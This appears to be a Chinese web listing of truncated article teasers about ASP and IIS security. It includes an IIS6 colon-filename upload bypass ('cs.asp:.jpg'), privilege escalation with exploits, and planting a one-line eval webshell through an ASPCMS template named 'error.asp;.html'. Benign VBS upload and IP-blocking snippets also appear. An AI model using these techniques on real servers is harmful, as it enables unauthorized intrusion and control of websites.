-
IIS6使用冒号上传漏洞
测试之条件： asp脚本 上传的文件不会改名 只允许上传.jpg后缀的文件 利用： 上传一个jpg木马图片 名字为：cs.asp:.jpg 注意是: 默认windows是不允许文件字含:（冒号）的 所以需要抓包后改下！！ 上传成功后，iis...
-
不用CMD命令,直接调用EXP溢出提权及原理分析过程
1.提权时遇到的问题2.程序运行与参数的调用3.跳过限制的方法1.提权时遇到的问题想必大家在提权时遇到过这种问题，就是找到一个可读可写目录，上传个CMD调用CMD可以执行一些DOS命令，例如ver ,whoami ,systeminfo ....
-
ASPCMS系统后台拿webshell
点击“界面风格”，然后选“编辑模板/CSS文件”，然后“添加模板”，文件名称写error.asp;.html，文件内容写一句话<%eval request(&ld...
-
VBS模拟POST上传文件的代码
'XML Upload Class Class XMLUpload Private xmlHttp Private objTemp Private adTypeBinary, adTypeText Private strCharset, s...
-
Asp限制IP访问 阻止某一个IP段禁止访问本站的代码
<% ''获取访问者的地址 ip=Request.ServerVariables("REMOTE_ADDR") ''允许的IP地址段为10.0.0.0～10.68.63.255 allowip1="10....
